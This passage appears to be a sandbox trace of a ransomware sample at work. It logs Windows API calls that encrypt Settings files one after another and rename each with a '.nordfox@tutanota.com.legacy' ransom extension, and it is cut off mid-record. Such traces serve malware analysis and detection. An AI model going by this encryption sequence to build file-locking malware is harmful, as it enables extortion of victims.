"c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagenetworkwifi.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.174] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0199.175] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0199.175] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageNetworkVPN.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.175] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x421, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x421, lpOverlapped=0x0) returned 1 [0199.176] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1057, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.176] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x421, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x421, lpOverlapped=0x0) returned 1 [0199.176] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x421 [0199.177] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.177] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.177] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.177] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.177] CloseHandle (hObject=0x1c24) returned 1 [0199.178] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageNetworkVPN.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagenetworkvpn.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageNetworkVPN.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagenetworkvpn.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.180] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0199.180] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0199.180] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageNetworkProxy.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.180] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x42b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x42b, lpOverlapped=0x0) returned 1 [0199.182] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1067, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.182] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x42b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x42b, lpOverlapped=0x0) returned 1 [0199.182] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x42b [0199.182] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.182] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.183] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.183] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.183] CloseHandle (hObject=0x1c24) returned 1 [0199.184] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageNetworkProxy.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagenetworkproxy.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageNetworkProxy.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagenetworkproxy.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.185] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0199.185] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0199.185] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageNetworkMobileHotspot.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.186] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x453, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x453, lpOverlapped=0x0) returned 1 [0199.187] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1107, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.187] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x453, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x453, lpOverlapped=0x0) returned 1 [0199.187] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x453 [0199.187] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.187] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.188] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.188] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.188] CloseHandle (hObject=0x1c24) returned 1 [0199.188] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageNetworkMobileHotspot.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagenetworkmobilehotspot.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageNetworkMobileHotspot.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagenetworkmobilehotspot.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.199] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0199.199] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0199.199] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageNetworkMobileBroadband.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.199] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x45d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x45d, lpOverlapped=0x0) returned 1 [0199.200] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1117, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.200] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x45d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x45d, lpOverlapped=0x0) returned 1 [0199.201] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x45d [0199.201] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.201] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.201] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.202] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.202] CloseHandle (hObject=0x1c24) returned 1 [0199.202] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageNetworkMobileBroadband.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagenetworkmobilebroadband.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageNetworkMobileBroadband.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagenetworkmobilebroadband.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.204] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0199.204] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0199.204] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageNetworkEthernet.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.204] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x43a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x43a, lpOverlapped=0x0) returned 1 [0199.206] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1082, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.206] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x43a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x43a, lpOverlapped=0x0) returned 1 [0199.206] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x43a [0199.206] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.206] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.206] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.207] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.207] CloseHandle (hObject=0x1c24) returned 1 [0199.207] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageNetworkEthernet.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagenetworkethernet.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageNetworkEthernet.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagenetworkethernet.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.209] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0199.209] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0199.209] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageNetworkDirectAccess.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.209] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x44e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x44e, lpOverlapped=0x0) returned 1 [0199.211] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1102, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.211] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x44e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x44e, lpOverlapped=0x0) returned 1 [0199.211] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x44e [0199.211] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.211] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.211] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.212] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.212] CloseHandle (hObject=0x1c24) returned 1 [0199.212] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageNetworkDirectAccess.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagenetworkdirectaccess.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageNetworkDirectAccess.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagenetworkdirectaccess.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.214] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0199.214] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0199.214] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageNetworkDialup.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.215] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x430, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x430, lpOverlapped=0x0) returned 1 [0199.216] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1072, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.216] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x430, lpOverlapped=0x0) returned 1 [0199.216] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x430 [0199.216] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.216] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.216] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.217] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.217] CloseHandle (hObject=0x1c24) returned 1 [0199.217] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageNetworkDialup.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagenetworkdialup.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageNetworkDialup.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagenetworkdialup.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.219] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0199.219] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0199.219] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageNetworkAirplaneMode.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.220] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x44e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x44e, lpOverlapped=0x0) returned 1 [0199.221] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1102, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.221] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x44e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x44e, lpOverlapped=0x0) returned 1 [0199.221] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x44e [0199.221] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.221] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.222] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, 